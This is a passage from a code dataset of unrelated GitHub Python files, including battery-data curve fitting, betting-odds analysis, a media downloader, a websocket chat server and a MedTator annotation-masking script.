dataSet):\n surroundingAverage = abs((dataSet[anomalyIndex + 1][1] + dataSet[anomalyIndex - 1][1])/2)\n dataSet[anomalyIndex][1] = surroundingAverage\n \ndef flipList(inputList):\n flippedList = list()\n for i in range(len(inputList)):\n flippedList.append(inputList[len(inputList) - i - 1])\n return flippedList\n\ndef createArray(listX, listY):\n newList = list()\n for i in range(len(listX)):\n newList.append([listX[i], listY[i]])\n return np.array(newList)\n\ndef createSpacedList(min, max, spacing):\n currentVal = min\n spacedList = list()\n i = 0\n while currentVal < max:\n currentVal = min + (i * spacing)\n spacedList.append(currentVal)\n i += 1\n return spacedList\n\ndef getPolyFitValues(order, xList, yList):\n coefficients = np.polyfit(xList, yList, order)\n #print(coefficients)\n modeledValues = list()\n for x in xList:\n yVal = 0\n i = 0\n while order - i >= 0:\n yVal += coefficients[i] * x ** (order - i)\n i += 1\n modeledValues.append(yVal)\n #if x==3.8:\n #print(yVal)\n #print(x,yVal)\n return modeledValues\n\ndef getChiSquaredValue(experimentalValues, modeledValues):\n totalChiSquared = 0\n for i in range(len(experimentalValues)):\n expectedValue = modeledValues[i]\n observedValue = experimentalValues[i]\n if expectedValue != 0:\n totalChiSquared += abs(((observedValue - expectedValue)**2) / expectedValue)\n elif abs(observedValue - expectedValue) <= 0.000001:\n totalChiSquared += 0\n else:\n totalChiSquared += (observedValue + expectedValue)**2\n return totalChiSquared\n\ndef findOptimalOrderFit(xValues, yValues):\n n = 1\n chiSquaredResults = list()\n while n <= 8:\n currentChiSquared = getChiSquaredValue(yValues, getPolyFitValues(n, xValues, yValues))\n chiSquaredResults.append([n, currentChiSquared])\n n += 1\n minIndex = 0\n minChiSquared = 1000000000.0\n for i in range(len(chiSquaredResults)):\n if chiSquaredResults[i][1] < minChiSquared:\n minChiSquared = chiSquaredResults[i][1]\n minIndex = i\n return chiSquaredResults[minIndex]\n\ndef printFittingResults(chiSquaredResults, xValues, yValues):\n #print(\"Optimal Order Fit:\", chiSquaredResults[0])\n #print(\"Chi-Squared Value:\", chiSquaredResults[1])\n print(\"Coefficients:\")\n coefficientList = np.polyfit(xValues, yValues, chiSquaredResults[0])\n order = chiSquaredResults[0]\n for i in range(len(coefficientList)):\n print(\"\\tx^\" + str(order - i) +\":\", coefficientList[i])\n \ndef main():\n \n batteryData1 = csvToList(\"voltage_readings.csv\")\n measurementNumbers1 = list()\n voltageReading1 = list()\n for data in batteryData1:\n measurementNumbers1.append(data[0])\n voltageReading1.append(data[1])\n\n anomalies = findAnomalyIndex(batteryData1)\n \n for anomaly in anomalies:\n fixSingleAnomaly(anomaly - 1, batteryData1)\n\n measurementNumbers1 = list()\n voltageReading1 = list()\n for data in batteryData1:\n measurementNumbers1.append(data[0])\n voltageReading1.append(data[1])\n\n measurementsAdjusted = flipList(measurementNumbers1)\n voltageReadingFinal = flipList(voltageReading1)\n\n # Normalize the data measurement numbers on a 0 to 100% scale\n numMeasurements = len(measurementsAdjusted)\n increment = 100.0/numMeasurements\n normalizedSoC = list()\n tempI = 0\n while tempI < numMeasurements:\n normalizedSoC.append(tempI*increment)\n tempI += 1\n\n optimalFitValues = findOptimalOrderFit(voltageReadingFinal, normalizedSoC)\n optimalOrder = optimalFitValues[0]\n modeledValues = getPolyFitValues(optimalOrder, voltageReadingFinal, normalizedSoC)\n #print(modeledValues)\n \n printFittingResults(optimalFitValues, voltageReadingFinal, normalizedSoC)\n \n #plot\n plt.plot(voltageReadingFinal, normalizedSoC, label='Experimental Data')\n plt.plot(voltageReadingFinal, modeledValues, label='Polynomial Fit')\n plt.legend(loc='best')\n plt.ylabel('State of Charge (%)')\n plt.xlabel('Cell Voltage (V)')\n plt.title('SoC vs Cell Voltage',fontweight='700')\n plt.grid(True)\n plt.subplots_adjust(wspace=0.35)\n\n plt.show()\n\n\nmain()\n\n","repo_name":"geshan99/BMS-Project","sub_path":"bms/Battery_data_analysis_final.py","file_name":"Battery_data_analysis_final.py","file_ext":"py","file_size_in_byte":5170,"program_lang":"python","lang":"en","doc_type":"code","stars":6,"dataset":"github-code","pt":"21"} +{"seq_id":"6667119669","text":"\"\"\"Test whether `uncommitted` works.\"\"\"\n\nimport os\nimport shutil\nimport sys\nimport tempfile\nimport uncommitted.command\nfrom subprocess import check_call\nfrom textwrap import dedent\n\nif sys.version_info.major > 2:\n from io import StringIO\nelse:\n from StringIO import StringIO\n\ndef create_checkouts(tempdir):\n cc = check_call\n for system in 'git', 'hg', 'svn':\n for state in 'clean', 'dirty':\n d = os.path.join(tempdir, system + '-' + state)\n\n if system == 'svn':\n repo = d + '-repo'\n repo_url = 'file://' + repo.replace(os.sep, '/')\n cc(['svnadmin', 'create', repo])\n cc(['svn', 'co', repo_url, d])\n else:\n os.mkdir(d)\n cc([system, 'init', '.'], cwd=d)\n\n with open(os.path.join(d, 'maxim.txt'), 'w') as f:\n f.write(maxim)\n\n cc([system, 'add', 'maxim.txt'], cwd=d)\n cc([system, 'ci', '-m', 'Add a maxim'], cwd=d)\n\n if state == 'dirty':\n with open(os.path.join(d, 'maxim.txt'), 'a') as f:\n f.write(more_maxim)\n\ndef test_uncommitted():\n tempdir = tempfile.mkdtemp(prefix='uncommitted-test')\n try:\n create_checkouts(tempdir)\n sys.argv[:] = ['uncommitted', tempdir]\n io = StringIO()\n stdout = sys.stdout\n try:\n sys.stdout = io\n uncommitted.command.main()\n finally:\n sys.stdout = stdout\n result = io.getvalue()\n finally:\n shutil.rmtree(tempdir)\n assert result == expected.format(tempdir=tempdir)\n\nexpected = dedent(\"\"\"\\\n {tempdir}/git-dirty - Git\n M maxim.txt\n\n {tempdir}/hg-dirty - Mercurial\n M maxim.txt\n\n {tempdir}/svn-dirty - Subversion\n M maxim.txt\n\n \"\"\")\n\nmaxim = dedent(\"\"\"\\\n A complex system that works\n is invariably found to have evolved\n from a simple system that worked.\n The inverse proposition also appears to be true:\n A complex system designed from scratch\n never works and cannot be made to work.\n \"\"\")\n\nmore_maxim = dedent(\"\"\"\\\n You have to start over,\n beginning with a working simple system.\n \"\"\")\n\nif __name__ == '__main__':\n test_uncommitted()\n","repo_name":"B-Rich/uncommitted","sub_path":"uncommitted/test_integration.py","file_name":"test_integration.py","file_ext":"py","file_size_in_byte":2258,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"21"} +{"seq_id":"1445520232","text":"import numpy as np\r\n\r\n\r\ndef favorite_win(df):\r\n # Create new Column \"favorite_win\"\r\n # --> True, if Favorite won\r\n # --> False, if Favorite lost\r\n df.loc[(df[\"difference\"] > 0) & (df[\"FTR\"] == \"A\"), \"favorite_win\"] = \"True\"\r\n df.loc[(df[\"difference\"] < 0) & (df[\"FTR\"] == \"H\"), \"favorite_win\"] = \"True\"\r\n df[\"favorite_win\"].fillna(\"False\", inplace=True)\r\n return df\r\n\r\n\r\ndef earning(df, new_column_name, bet_on):\r\n if bet_on == \"favorite\":\r\n df.loc[(df[\"difference\"] > 0) & (df[\"FTR\"] == \"A\"), new_column_name] = df[\"B365A\"] - 1\r\n df.loc[(df[\"difference\"] < 0) & (df[\"FTR\"] == \"H\"), new_column_name] = df[\"B365H\"] - 1\r\n df[new_column_name].fillna(-1, inplace=True)\r\n elif bet_on == \"underdog\":\r\n # underdog_win\r\n df.loc[(df[\"difference\"] > 0) & (df[\"FTR\"] == \"H\"), new_column_name] = df[\"B365H\"] - 1\r\n df.loc[(df[\"difference\"] < 0) & (df[\"FTR\"] == \"A\"), new_column_name] = df[\"B365A\"] - 1\r\n df[new_column_name].fillna(-1, inplace=True)\r\n else:\r\n df.loc[(df[\"difference\"] > 0) & (df[\"FTR\"] != \"A\"), new_column_name] = df[\"Quote 1x\"] - 1\r\n df.loc[(df[\"difference\"] < 0) & (df[\"FTR\"] != \"H\"), new_column_name] = df[\"Quote x2\"] - 1\r\n df[new_column_name].fillna(-1, inplace=True)\r\n return df\r\n\r\n\r\ndef calculate_doubleChance(homequote, drawquote, awayquote, df):\r\n # doppelte chance berechnen https://www.reddit.com/r/SoccerBetting/comments/90fd4d/how_to_calculate_double_chance/\r\n # Hier kann es zu Ungenauigkeiten kommen. Bei Tipico nachgerechnet - ziemlich genau \"\"\"\r\n df[\"Quote 1x\"] = 1 / (1 / df[homequote] + 1 / df[drawquote])\r\n df[\"Quote x2\"] = 1 / (1 / df[awayquote] + 1 / df[drawquote])\r\n df[\"Quote 12\"] = 1 / (1 / df[awayquote] + 1 / df[homequote])\r\n df[\"Quote 1x\"] = np.where(df[\"Quote 1x\"] < 1, 1, df[\"Quote 1x\"])\r\n df[\"Quote x2\"] = np.where(df[\"Quote x2\"] < 1, 1, df[\"Quote x2\"])\r\n df[\"Quote 12\"] = np.where(df[\"Quote 12\"] < 1, 1, df[\"Quote 12\"])\r\n\r\n return df\r\n\r\n\r\ndef ausschuettung(data, restriction):\r\n if restriction == \"\":\r\n wins = {\"Gewinn_Bet on Favorite\": data[\"Gewinn 'Favorit-win'\"].sum(),\r\n \"Gewinn_Bet Double Chance\": data[\"Gewinn 'doppelte Chance'\"].sum(),\r\n \"Gewinn_Bet on Draw\": data[\"Gewinn 'Draw'\"].sum(),\r\n \"Gewinn_Bet on Underdog\": data[\"Gewinn 'Underdog-win'\"].sum()}\r\n else:\r\n wins = {\"Gewinn_Bet on Favorite_{}\".format(restriction): data[\"Gewinn 'Favorit-win'\"].sum(),\r\n \"Gewinn_Bet Double Chance_{}\".format(restriction): data[\"Gewinn 'doppelte Chance'\"].sum(),\r\n \"Gewinn_Bet on Draw_{}\".format(restriction): data[\"Gewinn 'Draw'\"].sum(),\r\n \"Gewinn_Bet on Underdog_{}\".format(restriction): data[\"Gewinn 'Underdog-win'\"].sum()}\r\n return wins\r\n","repo_name":"NickHarnau/Tipico","sub_path":"analyse_funktionen.py","file_name":"analyse_funktionen.py","file_ext":"py","file_size_in_byte":2813,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"12576288487","text":"import os\nimport aria2p\nimport asyncio\nimport glob\nimport yt_dlp\nfrom yt_dlp import DownloadError\nfrom bot import DOWNLOAD_DIRECTORY, LOGGER\nfrom bot.helpers.utils import aria2, humanbytes\n\nasync def download_file(url, dl_path, gid, sent_message):\n try:\n download = aria2.add_uris([url], {'dir': dl_path, 'gid': gid})\n while True:\n download.update()\n if download.completed_length != 0:\n progress = \"{:.2f}\".format(download.progress)\n progress_bar = \"📥 Downloading File...\\n\"\n progress_bar += f\"File name: {download.name}\\n\"\n progress_bar += f\"File size: {humanbytes(download.total_length)}\\n\"\n progress_bar += f\"Speed: {humanbytes(download.download_speed)}/s|ETA: {download.eta}\\n\"\n progress_bar += f\"Processed size: {humanbytes(download.completed_length)}\\n\"\n progress_bar += f\"Progress: {progress}%\"\n try:\n await sent_message.edit(progress_bar)\n except:\n pass\n path = download.files[0].path\n if download.is_complete:\n LOGGER.info(\"Download complete\")\n if os.path.exists(path):\n return True, path\n else:\n return False, path\n elif download.has_failed:\n return False, download.error_message\n await asyncio.sleep(0.5)\n except aria2p.client.ClientException as error:\n return False, error\n except Exception as error:\n return False, error\n finally:\n aria2.remove([download], force=True, files=False, clean=True)\n\ndef utube_dl(link):\n ytdl_opts = {\n 'outtmpl': os.path.join(DOWNLOAD_DIRECTORY, '%(title)s'),\n 'noplaylist': True,\n 'logger': LOGGER,\n 'format': 'bestvideo+bestaudio/best',\n 'geo_bypass_country': 'IN',\n 'verbose': True,\n 'update': True\n }\n with yt_dlp.YoutubeDL(ytdl_opts) as ytdl:\n try:\n meta = ytdl.extract_info(link, download=True)\n except DownloadError as e:\n return False, str(e)\n for path in glob.glob(os.path.join(DOWNLOAD_DIRECTORY, '*')):\n if path.endswith(('.avi', '.mov', '.flv', '.wmv', '.3gp', '.mpeg', '.webm', '.mp4', '.mkv', '.acc', '.m4a', '.mp3', '.ogg', '.wav')) and \\\n path.startswith(ytdl.prepare_filename(meta)):\n return True, path\n return False, 'Something went wrong! No video file exists on server.'\n","repo_name":"khainee/Tezg","sub_path":"bot/helpers/downloader.py","file_name":"downloader.py","file_ext":"py","file_size_in_byte":2437,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"21"} +{"seq_id":"33571324048","text":"#!/usr/bin/python\n# -*- coding: utf-8 -*-\n# @Author:jayonlau\n\nimport magic\nimport re\nimport codecs\n \ndef Is_binary(file_path):\n '''\n Judge whether it is a binary file according to the text file data type\n :return: True or False\n '''\n TEXT_BOMS = (\n codecs.BOM_UTF16_BE,\n codecs.BOM_UTF16_LE,\n codecs.BOM_UTF32_BE,\n codecs.BOM_UTF32_LE,\n codecs.BOM_UTF8,\n )\n with open(file_path, 'rb') as file:\n CHUNKSIZE = 8192\n initial_bytes = file.read(CHUNKSIZE)\n file.close()\n #: BOMs to indicate that a file is a text file even if it contains zero bytes.\n return not any(initial_bytes.startswith(bom) for bom in TEXT_BOMS) and b'\\0' in initial_bytes\n \n \ndef Is_magic(file_path):\n '''\n Judge whether it is a binary file according to the magic of magic file\n :return: True or False\n '''\n mime_kw = 'x-executable|x-sharedlib|octet-stream|x-object'\n try:\n magic_mime = magic.from_file(file_path, mime=True)\n magic_hit = re.search(mime_kw, magic_mime, re.I)\n if magic_hit:\n return True\n else:\n return False\n except ZeroDivisionError:\n return False\n \ndef Is_pdf(file_path):\n '''\n Judge whether it is a PDF file\n :return: True or False\n '''\n file = file_path\n if \".pdf\" in file:\n return True\n elif \".PDF\" in file:\n return True\n else:\n return False\n\ndef If_Binary(file_path):\n if not Is_binary(file_path):\n if not Is_magic(file_path):\n if not Is_pdf(file_path):\n return False\n else:\n return True\n else:\n return True\n else:\n return True\n","repo_name":"jayonlau/pynorm","sub_path":"binary.py","file_name":"binary.py","file_ext":"py","file_size_in_byte":1696,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"21"} +{"seq_id":"39018245866","text":"#!/usr/bin/python3.5\n\nimport sys\nimport re\nfrom pprint import pprint\n#from operator import itemgetter\n\ntiles = []\n\nwhile True:\n try:\n line = sys.stdin.readline().rstrip()\n\n except KeyboardInterrupt:\n break\n\n if not line:\n break\n\n tiles.append([ c == '.' for c in line])\n\nprint(tiles)\n\ndef trap(x,a):\n if a==0:\n l=True\n else:\n l=x[a-1]\n\n if a==len(x)-1:\n r=True\n else:\n r=x[a+1]\n\n return not(l != r)\n\nfor i in range(1,40):\n tiles.append([])\n for j in range(len(tiles[i-1])):\n tiles[i].append(trap(tiles[i-1], j))\n\npprint([''.join(['.' if c else '^' for c in row ]) for row in tiles])\nprint(sum([x.count(True) for x in tiles]))\n\n","repo_name":"radu/advent","sub_path":"18.py","file_name":"18.py","file_ext":"py","file_size_in_byte":716,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"7054727059","text":"#!/usr/bin/env python\n\nimport argparse\nimport tgbot\nimport log\nimport ctrl\n\nif __name__ == \"__main__\":\n parser = argparse.ArgumentParser(description=\"The GPIO way to shutdown the Unmatched board\")\n parser.add_argument(\"-n\", \"--on\", type = str, nargs=\"+\", metavar=\"board_id\", default = None, help = \"Power on the specfic board\")\n parser.add_argument(\"-f\", \"--off\", type = str, nargs=\"+\", metavar=\"board_id\", default = None, help = \"Power off the specfic board\")\n parser.add_argument(\"--bot\", action=argparse.BooleanOptionalAction, help =\"Run a telegram bot in background\")\n parser.set_defaults(bot=False)\n\n args = parser.parse_args()\n\n if args.bot == True:\n app = tgbot.init_bot()\n log.info(\"Bot started\")\n app.run_polling()\n # Quit when this script is ran as daemon\n quit(0)\n\n if args.on != None and len(args.on) != 0:\n ctrl.power_on_all(args.on)\n\n if args.off != None and len(args.off) != 0:\n ctrl.power_off_all(args.off)\n","repo_name":"Avimitin/Unmatched-PowerSwitch","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":999,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"35358094853","text":"#!/usr/bin/env python\r\n\r\nimport asyncio\r\nimport json\r\nimport pathlib\r\nimport ssl\r\nimport websockets\r\n\r\nfrom room import Room\r\n\r\n# setup\r\nrequire_key = True\r\npass_key = 'acfd0422-feff-4869-bf32-acbda6b7445c'\r\nmax_users_per_room = None # None or positive integer\r\n\r\nrooms = {} # {room_id: Room}\r\n\r\n\r\ndef verify_data(data):\r\n try:\r\n keys = data.keys()\r\n if 'id' not in keys or 'message' not in keys or 'language' not in keys:\r\n return False\r\n except Exception as e:\r\n print(e)\r\n return False\r\n\r\n return True\r\n\r\n\r\ndef user_event(room):\r\n return json.dumps({\"users\": room.get_user_count()})\r\n\r\n\r\nasync def serve(websocket, path):\r\n # handle query\r\n query = await websocket.recv()\r\n data = json.loads(query)\r\n\r\n # verify access (not really secure as it is sent in plain text, but good enough for prototyping)\r\n if require_key:\r\n if 'pass_key' not in data.keys() or data['pass_key'] != pass_key:\r\n print('YOU SHALL NOT PASS!')\r\n await websocket.send('{\"error\": \"Closed connection due to invalid key!\"}')\r\n return\r\n\r\n # verify data\r\n if not verify_data(data):\r\n print('Missing data!')\r\n await websocket.send('{\"error\": \"Missing data!\"}')\r\n return\r\n\r\n # get the room ID and check that it is not empty\r\n room_id = data['id']\r\n if not room_id:\r\n await websocket.send('{\"error\": \"Invalid room ID!\"}')\r\n return\r\n\r\n # create or get a room\r\n if room_id not in rooms.keys():\r\n print('Create room: ' + room_id)\r\n room = Room(max_users_per_room)\r\n rooms[room_id] = room\r\n else:\r\n room = rooms[room_id]\r\n\r\n # check if the room is full\r\n if room.is_full():\r\n print('Room \"' + room_id + '\" is full!')\r\n await websocket.send('{\"error\": \"Room is full!\"}')\r\n return\r\n\r\n # add the user to the room\r\n room.add_user(websocket)\r\n print('Added user to \"' + room_id + '\"')\r\n\r\n try:\r\n # inform clients of new user count\r\n websockets.broadcast(room.users, user_event(room))\r\n\r\n # keep clients updated (this is where the magic happens)\r\n async for message in websocket:\r\n try:\r\n data = json.loads(message)\r\n if verify_data(data) and data['id'] in rooms.keys():\r\n room = rooms[data['id']]\r\n msg = data['message']\r\n lang = data['language']\r\n\r\n recipients = room.get_recipients(websocket)\r\n\r\n if msg and lang and recipients:\r\n payload = {\r\n 'message': msg,\r\n 'language': lang,\r\n }\r\n\r\n websockets.broadcast(recipients, json.dumps(payload))\r\n\r\n except Exception as e:\r\n print(e)\r\n finally:\r\n try:\r\n if room_id in rooms.keys():\r\n rooms[room_id].remove_user(websocket)\r\n print('Removed user from: ' + room_id)\r\n if rooms[room_id].is_empty():\r\n del rooms[room_id]\r\n print('Deleted room: ' + room_id)\r\n except Exception as e:\r\n print(e)\r\n finally:\r\n if not room.is_empty():\r\n websockets.broadcast(room.users, user_event(room))\r\n\r\n\r\n# ssl_cert = pathlib.Path(__file__).with_name(\"fullchain.pem\")\r\n# ssl_key = pathlib.Path(__file__).with_name(\"privkey.pem\")\r\n# ssl_context = ssl.SSLContext(ssl.PROTOCOL_TLS_SERVER)\r\n# ssl_context.load_cert_chain(ssl_cert, keyfile=ssl_key)\r\n\r\n\r\nasync def main():\r\n async with websockets.serve(serve, \"localhost\", 8081):\r\n print('Server running at localhost:8081')\r\n await asyncio.Future() # run forever\r\n\r\n\r\nif __name__ == \"__main__\":\r\n asyncio.run(main())\r\n","repo_name":"NilasRD/Telephone","sub_path":"server/server.py","file_name":"server.py","file_ext":"py","file_size_in_byte":3870,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"18403078569","text":"from itertools import accumulate; from math import floor,ceil,sqrt; import operator; import random; import string; from bisect import *; from collections import deque, defaultdict, Counter, OrderedDict; from functools import reduce, cache, cmp_to_key; from heapq import *; import unittest; from typing import List,Optional; from functools import cache; from operator import lt, gt\n# import sys\n# sys.path.append('../leetcode')\n# from ..leetcode.binary_tree_tester import ser,des,TreeNode\n# from ..leetcode.a_linked_list import make_linked_list\n\nclass TreeNode:\n def __init__(self, val=0, left=None, right=None):\n self.val = val\n self.left = left\n self.right = right\n def __repr__(self): return str(self.val)\n\ndef find(node:TreeNode, x:int):\n if not node: return False\n if node.val == x: return True\n if x Optional[TreeNode]:\n def insert(node):\n if not node:\n return TreeNode(val)\n if val\n\n\n\n\n\n\n\n\n\n```\n\nWe want to mask the `fever` (replace with ##AE##) and date information, while keeping other entities in the annotation for downstream tasks, such as question answering.\nAs the spans of the replaced tokens may cause the length of text changed, we need to tracking the changes and apply the offset to other affected tokens of entities.\nThis script show an example of how this can be done.\n\nAfter masking, the output XML looks like:\n\n```xml\n\n\n\n\n\n\n\n\n```\n\nAs you can see, the `fever` and `1/10` are masked. As the text changes, the offset of SVRT `102 F` is changed from 22~27 to 23~28. All the masked entites are removed from the element.\n\nYou can check more technical details in this script.\n'''\n\nimport os\nimport medtator_kits as mtk\n\n# first, we need to define which tags should be masked and kept.\n# in this demo, we want to mask the AE and DATE, keep the SVRT.\n# if any tag is not defined here, will be DROPPED directly,\n# which means they won't affect the kept tags.\nMASK_TAGS = [\n ['AE', '##AE##'],\n ['DATE', '##DT##']\n]\nKEPT_TAGS = ['SVRT']\n# create a list for quick access later\n# it only contains the name, for example ['AE', 'DATE']\nMASK_TAGS_NAMES = [ t[0] for t in MASK_TAGS ]\n# convert to a mapping dict from tag to mask\nMASK_TAGS_DICT = dict(MASK_TAGS)\n\nprint('* defined MASK tags:')\nfor mt in MASK_TAGS: print(' - %s -> %s' % (mt[0], mt[1]))\nprint('* defined KEPT tags:')\nfor kt in KEPT_TAGS: print(' - %s ' % (kt))\n\n# then, let's define the path for the input XML files\n# for this demo, we use the path in our sample dataset\n# it contains 5 xml files for testing\npath = '../sample/ENTITY_RELATION_TASK/ann_xml/Annotator_A/'\nif os.path.exists(path):\n print(\"* found the input path %s\" % path)\nelse:\n print('* no such path %s' % path)\n exit()\n\n# then define the output path for the masked format file\noutput_path = '../../masked_xmls/'\nif os.path.exists(output_path):\n print('* found the output path %s' % output_path)\nelse:\n os.makedirs(output_path)\n print('* created output path %s' % output_path)\n\n# now, parse the XML files in the given path.\n# it's just the raw XML files with basic conversion\n# all annotation files are saved in the rst['anns']\n# each item in the rst['anns'] is an object like this:\n# \n# {\n# \"_filename\": 'test.xml',\n# \"root\": 'VAX',\n# \"text\": 'The fever broke about 102 F this morning (1/10/21) so a rough estimate of the time course is 32 h.',\n# \"meta\": {},\n# \"tags\": [{\n# 'tag': 'AE',\n# 'spans': [[4, 9]],\n# 'text': 'fever',\n# 'id': 'P0'\n# }, {\n# 'tag': 'SVRT',\n# 'spans': [[22, 27]],\n# 'text': '102 F',\n# 'id': 'S1'\n# }, {\n# 'tag': 'DATE',\n# 'spans': [[42, 46]],\n# 'text': '1/10',\n# 'id': 'D1'\n# }]\n# }\n# \n# the annotated tags will be saved as a list of objects in `tags`.\n# As MedTator support non-continous spans, \n# the `spans` of each tag is a 2-D array.\n# For most of cases, it should be only one row.\nrst = mtk.parse_xmls(path)\n\n# let's define a function to evaluate the affectness\ndef does_tag1_affect_tag2(tag1, tag2, mask):\n '''\n Compare the positions of tags with given mask for tag1\n return flag and the offsets\n For example:\n False, [0, 0]\n True, [1, 1]\n True, [0, 0]\n \n There are several cases:\n\n 1. no, tag1 won't affect tag2\n tag1\n tag2\n\n 2. yes, if tag1 is ahead of tag2\n tag1\n tag2\n \n 3. yes, if covered\n tag_1_is_big\n tag2\n\n 4. yes, but only affect the right span\n tag1\n tag_2_is_big\n\n 5. yes, if partly overlapped\n tag1\n tag2\n\n 6. yes, but only affect the right span\n tag1\n tag2\n '''\n # the offset caused by mask \n # For example, if tag1 is Jan.01 and mask is ##DT##, \n # then offset is 6 - 6 = 0\n # if tag1 is March 31 and mask is ##DT##,\n # the offset is 6 - 8 = -2\n # \n # this is the easist case. \n # we don't handle the non-continuous text for now\n offset = len(mask) - len(tag1['text'])\n\n # get the range of spans\n # range1 = [\n # tag1['spans'][0][0], # the first span's left\n # tag1['spans'][-1][1] # the last span's right\n # ]\n # range2 = [\n # tag2['spans'][0][0], # the first span's left\n # tag2['spans'][-1][1] # the last span's right\n # ]\n # for simplicity, we don't count the non-continuous spans\n range1 = tag1['spans'][0]\n range2 = tag2['spans'][0]\n\n # let's start with the easist case\n if range1[0] > range2[1]:\n # this is case 1, not affect\n return False, [0, 0]\n\n # then, easy case 2\n if range1[1] < range2[0]:\n # this is case 2, yes\n return True, [offset, offset]\n\n # then, for case 3, it's better just remove tag2\n if range1[0] <= range2[0] and \\\n range1[1] >= range2[1]:\n return True, [None, None]\n\n # then, for case 4, it only affect the right span\n if range1[0] >= range2[0] and \\\n range1[1] <= range2[1]:\n return True, [0, offset]\n\n # then for case 5, cut tag2's head, and translate to case 2\n if range1[0] <= range2[0] and \\\n range1[1] >= range2[0] and \\\n range1[1] <= range2[1]:\n return True, [range2[0] - range1[1] + offset, offset]\n\n # last, for case 6, cut tag2's tail, and translate to case 1\n if range1[0] >= range2[0] and \\\n range1[0] <= range2[1] and \\\n range1[1] >= range2[1]:\n return True, [0, range1[0] - range2[1]]\n \n # ???, yes, but I don't what is affected?\n return True, None\n\n\n# then, we can mask the entities in each annotation\nlen_rst_anns = len(rst['anns'])\nfor ann_idx, ann in enumerate(rst['anns']):\n print('*' * 10, '%s/%s:%s' % (ann_idx+1, len_rst_anns, ann['_filename']), '*' * 10)\n # first, get all tags\n tags = ann['tags']\n\n # then, find those tags to be masked and kept\n masked_tags = []\n kept_tags = []\n for tag in tags:\n if tag['tag'] in MASK_TAGS_NAMES:\n # ok, this a tag to be masked\n masked_tags.append(tag)\n\n elif tag['tag'] in KEPT_TAGS:\n # this is a tag to be kept\n kept_tags.append(tag)\n\n else:\n # just drop this undefined tags\n pass\n print('* found %s tags to be masked' % (len(masked_tags)))\n print('* found %s tags to be kept' % (len(kept_tags)))\n\n # then, we need to evaluate how those masked tags affect kept tags.\n # and, to avoid the masked tags affect each other\n # the final replacement (i.e., mask) should be done at last.\n # check each kept tag now\n for k_tag in kept_tags:\n # TODO: no need to calculate DOCUMENT level tags\n\n # save all offsets\n offset_list = []\n\n # check each mask tag to see whether it affects\n for m_tag in masked_tags:\n # to check whether this m_tag affect k_tag\n # we need to compare two tags\n mask = MASK_TAGS_DICT[m_tag['tag']]\n flag_affected, tag_offset = does_tag1_affect_tag2(m_tag, k_tag, mask)\n\n if flag_affected:\n if tag_offset is None:\n # ??? In fact, I don't what to do\n continue\n elif tag_offset[0] is None:\n # oh ... that's bad!\n # k_tag is completely overlapped with m_tag\n # it's better to do something here ...\n pass\n else:\n offset_list.append(tag_offset)\n else:\n # ok, that's great! tag_offset is just [0, 0]\n offset_list.append(tag_offset)\n\n # now, let's apply all the offsets to this tag\n offset_sum = [0, 0]\n for offset in offset_list:\n offset_sum[0] += offset[0]\n offset_sum[1] += offset[1]\n \n # update the offset\n k_tag['spans'][0][0] += offset_sum[0]\n k_tag['spans'][0][1] += offset_sum[1]\n\n print('* applied offset [%s, %s] to tag %s.%s:%s' % (\n offset_sum[0],\n offset_sum[1],\n k_tag['tag'],\n k_tag['id'],\n k_tag['text'],\n ))\n\n # now, let's apply all the changes of text in the full text.\n # to avoid break the span, we shouldn't use regex to replace text.\n # need to cut the full text into pieces and join the original and replaced.\n # TODO: for masked tags, there can be overlapped tokens ...\n\n # first, make a dict of indexes of masked spans to mask \n # for example, for two tags 0~3 and 8~10\n # masked_idx_dict is {\n # 0: ##MASK_TAG1##,\n # 1: ##MASK_TAG1##,\n # 2: ##MASK_TAG1##,\n # 8: ##MASK_TAG2##,\n # 9: ##MASK_TAG2##,\n # }\n # later we can use this set to test whether a character is masked\n masked_idx_dict = {}\n for tag in masked_tags:\n # we just use the first one\n spans = tag['spans'][0]\n # put all index values between spans\n for i in range(spans[0], spans[1]):\n masked_idx_dict[i] = MASK_TAGS_DICT[tag['tag']]\n\n # save all chars for the new text\n new_text_chars = []\n # the fulltext\n text = ann['text']\n # define the start flag\n flag_masked_token_start = True\n for i in range(len(text)):\n if i in masked_idx_dict:\n # ok this char is masked\n if flag_masked_token_start:\n # ok, this is the start position\n new_text_chars.append(masked_idx_dict[i])\n flag_masked_token_start = False\n else:\n # we have add the mask of this token\n # so just skip here\n pass\n else:\n if flag_masked_token_start:\n # ok, which means it's trying to locate next mask\n # just add this char\n new_text_chars.append(text[i])\n else:\n # which means, just finished a mask token\n # i.e., text[i-1] is a masked token\n # text[i] is a new unmask token now\n flag_masked_token_start = True\n new_text_chars.append(text[i])\n\n # combine all chars\n new_text = ''.join(new_text_chars)\n\n # finally, make the masked annotation file\n masked_ann = {\n \"_filename\": 'masked_' + ann['_filename'],\n \"root\": ann['root'],\n \"text\": new_text,\n \"meta\": ann['meta'],\n \"tags\": kept_tags\n }\n\n # save this ann\n output_full_fn = os.path.join(output_path, masked_ann['_filename'])\n mtk.save_xml(masked_ann, output_full_fn)\n print('* saved XML %s' % output_full_fn)\n\n\nprint('* done!')","repo_name":"OHNLP/MedTator","sub_path":"scripts/demo_mask_entities.py","file_name":"demo_mask_entities.py","file_ext":"py","file_size_in_byte":11342,"program_lang":"python","lang":"en","doc_type":"code","stars":42,"dataset":"github-code","pt":"21"} +{"seq_id":"70449199734","text":"\"\"\"Basic network architectures\n\"\"\"\n\nimport adel\nfrom networks import *\nimport tensorflow as tf\nimport numpy as np\n\nfrom tensorflow_vgg import Vgg16\n\n\ndef make_vgg_net(img_in, output_layer, post_pool=None, post_pool_size=-1, post_pool_stride=1,\n reshape=True, build_fc=True, scale_output=1.0, **kwargs):\n \"\"\"Creates an interface between an image and the VGG16 network\n \"\"\"\n\n img = img_in\n layers = []\n if reshape:\n # First resize the image to 224\n img = tf.image.resize_images(images=img_in, size=[224, 224])\n 